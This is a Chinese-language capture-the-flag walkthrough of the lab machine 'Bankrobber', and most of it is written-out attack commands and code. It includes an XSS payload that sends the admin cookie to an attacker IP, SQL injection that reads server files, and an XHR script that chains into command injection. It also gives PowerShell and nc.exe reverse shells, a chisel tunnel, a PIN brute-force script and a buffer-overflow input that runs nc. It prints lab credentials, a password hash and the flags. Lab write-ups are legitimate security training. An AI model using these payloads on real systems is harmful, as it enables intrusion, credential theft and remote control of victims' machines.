这个靶机比较难,要求掌握的技能有:XSS、通过SQL注入读取文件、命令注入、缓冲区溢出
以本地xhr方式执行POST请求等。下面详细说明怎样拿flag。
nmap扫描开了80、443、445、3306端口,gobuster枚举发现了/admin、/phpmyadmin等目录
枚举smb,没发现共享目录
crackmapexec smb 10.129.228.109
——存在XSS攻击
用户注册进去,将看到E-coin转账页面
从上述信息提示看出:admin有在批准前查看交易的权限,可能存在XSS攻击。
写入comment=<img src=http://10.10.14.24/x.jpg />,然后监听端口可看到连接信息,印证了存在XSS攻击。
——用XSS截获admin的cookie
然后利用该payload获取cookie
<img src=x onerror=this.src="http://10.10.14.24/?cookie="+btoa(document.cookie) />
注:上述payload要进行URL编码
注:不是马上有连接信息,需要等待2-3分钟。
将获得的cookie解码
echo dXNlcm5hbWU9WVdSdGFXNCUzRDsgcGFzc3dvcmQ9U0c5d1pXeGxjM055YjIxaGJuUnBZdyUzRCUzRDsgaWQ9MQ== |base64 -d
admin Hopelessromantic
以该账号信息登录
管理员的页面如下
——在Search users发现SQL注入
1、先判断是字符型还是数字型
1' 出错
1'# 正确
(注:另一种注释的方法-- -。1’-- -)
说明为字符型
2、用order by试出来查询了几个字段
1' order by 3# 正确
1' order by 4# 出错
说明查询了3个字段
3、union联合查询
-1' union select 1,2,3#
显示了第1,2个字段的信息
通过枚举数据库、表、列,从users表获取如下信息
1:admin:Hopelessromantic
2:gio:gio
3:test:123456
这些信息对我们没什么帮助,因为已经获得了admin的密码。
或者,用sqlmap进行批量操作
将存在有SQL注入的网页保存为search.req,右键选择Copy to file。
sqlmap -r search.req --dbms mysql --technique=U--dump --batch
注:--technique有6种取值
B: Boolean-based blind
E: Error-based
U: Union query-based
S: Stacked queries
T: Time-based blind
Q: Inline queries
缺省用的technique为BEUSTQ
也可用sqlmap枚举数据库的用户
sqlmap -r search.req --dbms mysql--technique=U--users
枚举数据库用户的密码
sqlmap -r search.req --dbms mysql--technique=U--passwords
获取数据目录
term=-1'+union+select+1,@@datadir,3#
backdoorchecker处大概率有命令执行漏洞。我们知道XAMPP缺省的web目录为c:\xampp\htdocs,尝试读取admin下的backdoorchecker.php源码。
term=-1'+union+select+1,LOAD_FILE('c:/xampp/htdocs/admin/backdoorchecker.php'),3#
backdoorchecker.php源码如下:Linux只能执行ls,windows下只能执行dir;输入的命令里不能带$(或&(可以用|或||);且只能在本地执行命令,即该php只能在本地运行。
从源码可知,调用了../link.php和auth.php。同样的道理,获取link.php源码
获得了连接MySQL的账号信息
root Welkom1!
——命令执行
编译一个xhr文档script.js
var xhr = new XMLHttpRequest();
var url ="http://localhost/admin/backdoorchecker.php";
var params = "cmd=dir | ping -n 1 10.10.14.24";
xhr.open("POST", url);
xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');
xhr.withCredentials = true;
xhr.send(params);
然后,利用之前有XSS的页面,请求script.js脚本
<script src=http://10.10.14.24/script.js></script>
开启web服务器,监听tun0接口的icmp数据包,等待2-3分钟,看到了ICMP数据包
成功绕过了backdoorchecker.php中的3个限制条件。
——方法一:通过命令执行获得反向连接(执行反向连接的powershell脚本)
将shell.js中的命令改为
var params = "cmd=dir |powershell -exec bypass -f \\\\10.10.14.24\\share\\rev.ps1";
或者
var params = "cmd=dir |powershell iex(new-object net.webclient).downloadstring(‘http://10.10.14.24/rev.ps1’)";
将Invoke-PowerShellTcp.ps1拷贝为rev.ps1
cp /opt/powershell/Invoke-PowerShellTcp.ps1 ./rev.ps1
将rev.ps1的最后一行修改为
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.24 -Port 9001
开启smbserver
impacket-smbserver share $(pwd) -smb2support
发送含有XSS攻击的web请求
开启web服务器,nc监听端口9001,获得反向连接
python3 -m http.server 80
nc -lvnp 9001
从smbserver处获得Cortin的hash
Cortin::BANKROBBER:aaaaaaaaaaaaaaaa:bbc76653869b3e404339d5e604c04e17:01010000000000008036……
1、提交用户标志
18bd1a7be1fbea357e741bf14af0b530
——方法二:通过命令执行获得反向连接(执行nc.exe)
将script.js中的命令改为
var params = "cmd=dir | \\\\10.10.14.32\\share\\nc.exe 10.10.14.32 3333 -e cmd.exe";
同理,开启smbserver、web服务器、监听端口、执行web请求
impacket-smbserver share $(pwd) -smb2support
python3 -m http.server 80
nc -lvnp 3333
——提权到root
查看开放的网络接口,发现910比较可疑。
netstat -anop TCP
或者
netstat -ano | findstr LISTEN
端口910附属的进程号为1644,查看1644对应的运行程序为bankv2.exe
tasklist /v
在windows下将网络共享映射为盘符Z:
net use Z: \\10.10.14.32\share
利用chisel开隧道,将910端口引到本地。
在Kali Linux上开启chisel服务器
./chisel_1.9.0_linux_amd64 server --port 5555 --reverse
在目标机上用chisel进行连接,创建一个tunnel
.\chisel.exe client 10.10.14.32:5555R:910:127.0.0.1:910
过一段时间,tunnel就建立好了。此时,运行下面的命令进行查看,发现多了910端口
ss -tulpn
注:如果将命令写成
.\chisel.exe client 10.10.14.32:5555R:9100:127.0.0.1:910
我们之后就需要连接9100端口了(nc localhost 9100)
本地连接910端口
nc localhost 910
要求输入4位PIN以进行鉴权
写python脚本brute.py,暴力破解得到正确的4位PIN码。
Kali Linux需要安装pwntools。
pip3 install pwntools
from pwn import *
for i in range(0,9999):
pin= str(i)
code= pin.zfill(4)
r= remote("localhost", 910)
r.recvuntil("[$]")
r.sendline(code)
response= r.recvline()
r.close()
ifb"Access denied" not in response:
print(code)
break
执行brute.py
python brute.py
获知正确的4位PIN码为0021。输入PIN码后,要求输入数量。显示执行C:\Users\admin\Documents\transfer.exe
尝试在输入数量的地方输入超长字符串,判断可能存在缓冲区溢出。
生成100个模式化字符。显示执行命令从0Ab1Ab2开始。
msf-pattern_create -l 100
查询0Ab1字符所在的offset为32
msf-pattern_offset -q 0Ab1
用下面语句生成32个字符A
python -c 'print("A"*32)'
从Kali Linux上拷贝nc.exe到C:\Users\Public,然后再执行nc localhost 910
输入0021后,再输入
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC:\Users\Public\nc.exe
10.10.14.32 4444 -e cmd.exe
将执行C:\Users\Public\nc.exe 10.10.14.32 4444 -e cmd.exe
2、提交root标记
b4e99e1dbab1ebce7b549590c5c824dd
附注:获得提权后(之前以Cortin身份无法拷贝,权限不够),将C:\下的bankv2.exe下载下来逆向分析。
copy c:\bankv2.exe z:
逆向分析bankv2.exe
1、将输入与0021进行比较
2、strcpy时没有控制输入的长度,直接将输入内容拷贝到destination,造成缓冲区溢出
3、从destination和v24的定义看出,destination长度为32,溢出的内容自然分给了紧挨着的变量v24。